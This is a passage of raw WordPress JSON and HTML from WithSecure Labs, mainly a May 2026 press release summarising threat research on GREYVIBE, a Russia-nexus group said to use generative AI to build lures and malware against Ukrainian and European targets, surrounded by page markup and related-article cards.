https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                    <\/div>\n                <div class=\"wp-block-cards__nav fade-in\">\n                    <div class=\"wp-block-cards__pagination js-wp-block-cards-pagination\">\n                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-prev\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-next\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                <\/div>\n            <\/div>\n                                    <\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":3,"featured_media":0,"template":"","categories":[273,231,269],"labs_content_type":[296,221,225,224,300],"class_list":["post-10930","lab_item","type-lab_item","status-publish","hentry","category-ai-security","category-software-protection","category-threat-intelligence"],"acf":[],"card":"<div class=\"wp-component-card-insight js-card-link\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder.jpg\" class=\"wp-component-card-insight__image\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder.jpg 618w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder-300x214.jpg 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder-447x318.jpg 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder-205x146.jpg 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>","_links":{"self":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item\/10930","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item"}],"about":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/types\/lab_item"}],"author":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/users\/3"}],"wp:attachment":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media?parent=10930"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/categories?post=10930"},{"taxonomy":"labs_content_type","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/labs_content_type?post=10930"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":10919,"date":"2026-05-28T09:39:57","date_gmt":"2026-05-28T08:39:57","guid":{"rendered":"https:\/\/www.withsecure.com\/?post_type=lab_item&#038;p=10919"},"modified":"2026-09-04T13:23:03","modified_gmt":"2026-09-04T10:23:03","slug":"10919","status":"publish","type":"lab_item","link":"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/10919\/","title":{"rendered":"WithSecure uncovers Russia-nexus threat group using AI to target Ukraine and European organisations"},"content":{"rendered":"<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 wp-block-one-column-block--meta-sharing layout--spacing-xxxxl-top layout--spacing-xl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                            <div class='wp-block-one-column-block__meta-sharing-grid'><div class=\"wp-component-content wp-component-content--default wp-block-one-column-block__content fade-in\">\n            <h1 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    WithSecure uncovers Russia-nexus threat group using AI to target <span class=\"blue-text\">Ukraine and European organisations<\/span><\/h1>                    <div class=\"wp-component-content__inner\">\n                                                    <div class=\"wp-component-content__meta\">\n                                                    <span class=\"wp-component-content__content-type\">\n                                W\/Labs                            <\/span>\n                                                                                                                            <span class=\"wp-component-content__meta-date\">\n                                May 28, 2026                            <\/span>\n                                                                    <\/div>\n                                            <\/div>\n                <\/div><section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--content-1 wp-block-sharing-icons--disable-container wp-block-one-column-block__sharing fade-in wp-block-one-column-block__sharing fade-in\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/10919\/&#038;title=WithSecure%20uncovers%20Russia-nexus%20threat%20group%20using%20AI%20to%20target%20Ukraine%20and%20European%20organisations\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=WithSecure uncovers Russia-nexus threat group using AI to target Ukraine and European organisations&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/10919\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n<\/div>                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                                    <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research.jpg.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-content-25-1 wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research.jpg.webp 1200w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                                                    <\/figure>\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-two-column-block edwp-block js-wp-block-two-column-block wp-block-two-column-block--content-1 wp-block-two-column-block__left--align-y-top wp-block-two-column-block__right--align-y-top wp-block-two-column-block--split-sidebar layout--none-top layout--spacing-xxxl-bottom\"\n    data-block-id=\"block_4c5c26ca92286025735ca4764bd027eb\"\n    >\n    <div class=\"wp-block-two-column-block__container row-load\">\n                                                        <div class=\"wp-block-two-column-block__left\">\n                                <nav\n    class=\"wp-component-content-navigation wp-block-two-column-block__content-nav js-content-navigation\"\n    data-bem-base=\"wp-component-content-navigation\"\n    data-nav-column=\"left\"\n    data-nav-type=\"auto\"\n>\n            <p class=\"wp-component-content-navigation__title\">\n            Content        <\/p>\n    \n    <div class=\"wp-component-content-navigation__mobile\">\n        <label class=\"wp-component-content-navigation__mobile-label\">\n            <span class=\"wp-component-content-navigation__mobile-label-text\">\n                Content navigation            <\/span>\n            <select class=\"wp-component-content-navigation__select js-content-navigation-select\">\n                <option value=\"\">\n                    Select a section                <\/option>\n                            <\/select>\n        <\/label>\n    <\/div>\n\n    <div class=\"wp-component-content-navigation__desktop\">\n        <div class=\"wp-component-content-navigation__list-wrapper\">\n            <span\n                class=\"wp-component-content-navigation__indicator js-content-navigation-indicator\"\n                aria-hidden=\"true\"\n            ><\/span>\n            <ul class=\"wp-component-content-navigation__list js-content-navigation-list\">\n                            <\/ul>\n        <\/div>\n    <\/div>\n<\/nav>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__hide-mobile wp-block-two-column-block__share wp-block-two-column-block__hide-mobile\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/10919\/&#038;title=WithSecure%20uncovers%20Russia-nexus%20threat%20group%20using%20AI%20to%20target%20Ukraine%20and%20European%20organisations\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=WithSecure uncovers Russia-nexus threat group using AI to target Ukraine and European organisations&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/10919\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                                                <div class=\"wp-block-two-column-block__right\">\n                                <div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <div><\/div>\n<h2><i>New research exposes GREYVIBE \u2013 a persistent, AI-powered Russia-nexus group targeting military, government, and business entities across Ukraine and Europe since mid-2025.<\/i><\/h2>\n<div><\/div>\n<div><b>Helsinki, Finland \u2013 May 28, 2026:<\/b>\u00a0WithSecure, Europe\u2019s trusted cybersecurity partner, today published new threat intelligence revealing a previously undocumented Russia-nexus threat group, tracked as GREYVIBE. Active since at least August 2025, the group has conducted persistent operations targeting military personnel, government bodies, and businesses across Ukraine, with additional targeting of European organisations. GREYVIBE\u2019s activities align with Russian state intelligence-gathering objectives in the context of the ongoing Russia\u2013Ukraine war.<\/div>\n<div><\/div>\n<div>The research documents GREYVIBE\u2019s systematic use of generative AI (GenAI) and large language models (LLMs) across every phase of their operations \u2013 from building fake websites and crafting lures to developing custom malware and generating post-compromise tooling. WithSecure also identified indicators placing the group at the intersection of state-aligned activity and the broader cybercrime ecosystem.<\/div>\n<div><\/div>\n<div>The findings carry direct relevance for organisations across Europe. AI is lowering the barrier to entry for espionage-grade operations \u2013 groups that would previously have lacked the capability to develop custom malware and mount sustained campaigns can now do so with AI assistance. The threshold for targeting has dropped, and mid-market organisations that may have considered themselves below the radar of nation-state activity should take note.<\/div>\n<div><\/div>\n<h2><b>AI as an attack accelerator<\/b><\/h2>\n<div>Evidence points to the use of multiple AI platforms \u2013 including ChatGPT, Google Gemini, and image generation tools \u2013 to produce lure sites, develop custom remote access trojans, build obfuscation frameworks, and generate post-compromise scripts. The breadth and consistency of usage suggests deliberate integration into the group\u2019s operational workflow, not ad-hoc experimentation. Crucially, design flaws in LLM-assisted malware allowed WithSecure to monitor GREYVIBE\u2019s activity across victim machines for several months \u2013 providing rare, sustained visibility into the group\u2019s targeting and behaviour.<\/div>\n<div>\u201cWhat sets GREYVIBE apart is not raw technical skill, but operational ambition powered by AI. The group uses generative AI to punch above its weight \u2013 accelerating development, filling capability gaps, and generating a largely fresh operational profile that complicates tracking and attribution. It\u2019s a preview of how lower-sophistication actors will increasingly operate\u201d, says <b>Mohammad Kazem Hassan Nejad<\/b>, Senior Threat Intelligence Researcher, WithSecure<\/div>\n<div><\/div>\n<h2><b>Key findings<\/b><\/h2>\n<ul>\n<li>Persistent targeting of Ukrainian military, government, civilian, and business entities since August 2025.<\/li>\n<li>Systematic AI use across lure creation, malware development, infrastructure setup, and post-compromise tooling \u2013 integrated throughout operations, not used in isolation.<\/li>\n<li>Multiple attack vectors, including spear-phishing emails, fake CAPTCHA pages, and social engineering via Telegram using fake female personas.<\/li>\n<li>Custom malware suite including two generations of a PowerShell-based RAT (PhantomRelay), Android spyware (FallSpy), and a secondary RAT (LegionRelay) \u2013 all assessed to have been developed with LLM assistance.<\/li>\n<li>High-confidence attribution to Russian-speaking operators in the Moscow time zone, with targeting and objectives aligned with Russian state interests.<\/li>\n<li>Indicators of ties to the cybercrime ecosystem, with possible proximity to tooling linked to the former TrickBot syndicate.<\/li>\n<li>Repeated operational security failures suggest a low-to-moderately sophisticated group \u2013 a reminder that less capable actors can still pose meaningful threats.<\/li>\n<\/ul>\n<div>The full GREYVIBE research report is available at <a id=\"OWA9933b192-589c-07da-b457-b08c8911496f\" class=\"x_OWAAutoLink\" title=\"https:\/\/labs.withsecure.com\/publications\/greyvibe\" href=\"https:\/\/eur03.safelinks.protection.outlook.com\/?url=https%3A%2F%2Flabs.withsecure.com%2Fpublications%2Fgreyvibe&amp;data=05%7C02%7Cross.tweedie%40elixirr.com%7C2dd1bf2c0e704817e3e808debc8ef9fb%7C7d93cd9058984384a827507bc06c9089%7C0%7C0%7C639155519429372433%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ%3D%3D%7C0%7C%7C%7C&amp;sdata=4wXq96%2BtDFpClMrzpi2NztFUthzOCgBQw3g1l%2BLUVu4%3D&amp;reserved=0\" data-auth=\"NotApplicable\" target=\"_blank\" rel=\"noopener\">https:\/\/labs.withsecure.com\/publications\/greyvibe<\/a>.<\/div>\n<div><\/div>\n<div>For a deeper technical dive, join researcher Mohammad Kazem Hassan Nejad as he presents the findings in an upcoming webinar on June 17, 2026. Register at<a id=\"OWA686e1ed6-1195-4a92-de0a-253382e343a5\" class=\"x_OWAAutoLink\" title=\"https:\/\/withsecure.videosync.fi\/2026-06-17-74zx3ymlnn\/register\" href=\"https:\/\/eur03.safelinks.protection.outlook.com\/?url=https%3A%2F%2Fwithsecure.videosync.fi%2F2026-06-17-74zx3ymlnn%2Fregister&amp;data=05%7C02%7Cross.tweedie%40elixirr.com%7C2dd1bf2c0e704817e3e808debc8ef9fb%7C7d93cd9058984384a827507bc06c9089%7C0%7C0%7C639155519429409696%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ%3D%3D%7C0%7C%7C%7C&amp;sdata=Q%2BeMOtP4%2BQRVDthWunNRF%2BLZXWaFgP3UPx1PI1rsjSk%3D&amp;reserved=0\" data-auth=\"NotApplicable\" target=\"_blank\" rel=\"noopener\">https:\/\/withsecure.videosync.fi\/2026-06-17-74zx3ymlnn\/register<\/a>.<\/div>\n<\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/10919\/&#038;title=WithSecure%20uncovers%20Russia-nexus%20threat%20group%20using%20AI%20to%20target%20Ukraine%20and%20European%20organisations\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=WithSecure uncovers Russia-nexus threat group using AI to target Ukraine and European organisations&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/10919\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                        <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-cta-banner edwp-block js-wp-block-cta-banner wp-block-cta-banner--style-icon wp-block-cta-banner--no-image layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cta-banner__container\">\n        <div class=\"wp-block-cta-banner__box row-load\">\n            <div class=\"wp-component-content wp-component-content--help-text wp-component-content--dark wp-block-cta-banner__content\">\n                        <div class=\"wp-component-content__inner\">\n                <h2 class=\"wp-component-heading text--h2 wp-component-heading--dark wp-component-content__title\">\n    What <span class=\"blue-text\">next?<\/span><\/h2>                                    <div class=\"wp-component-content__content wysiwyg wysiwyg--dark\">\n                        <div class=\"wp-component-paragraph wp-component-paragraph--dark\">\n    <p class=\"text--p-medium\">Discover WithSecure\u2122 Elements Exposure Management.<br \/>\n&#8211; No credit card required. No obligations.No complexity.<\/p>\n<\/div>\n                    <\/div>\n                            <\/div>\n                            <div class=\"wp-component-content__buttons\">\n                <a class=\"wp-component-button btn btn--primary btn--dark\" href=\"https:\/\/www.withsecure.com\/en\/contact-us\/\">Contact us<\/a>            <\/div>\n                <\/div>                    <\/div>\n    <\/div>\n<\/section>\n\n\n\n\n<section\n    class=\"wp-block-cards edwp-block wp-block-cards--col-3 js-wp-block-cards wp-block-cards--show-overflow wp-block-cards--auto-slides-per-view layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cards__container\">\n        <div class=\"wp-component-content wp-component-content--default wp-block-cards__content\">\n            <h2 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Related <span class=\"blue-text\">Labs content<\/span><\/h2>                    <div class=\"wp-component-content__inner\">\n                                    <div class=\"wp-component-content__content wysiwyg\">\n                        <div class=\"wp-component-paragraph \">\n    <p class=\"text--p-medium\"><span data-teams=\"true\">Find related content relating to this topic.<\/span><\/p>\n<\/div>\n                    <\/div>\n                                                            <\/div>\n                <\/div>                            <div\n                class=\"swiper wp-block-cards__swiper js-wp-block-cards-swiper\"\n                data-slides-per-view-desktop=\"auto\"\n                data-slides-per-view-tablet=\"auto\"\n                data-slides-per-view-mobile=\"auto\"\n            >\n                <div class=\"swiper-wrapper wp-block-cards__swiper-wrapper row-load\">\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div 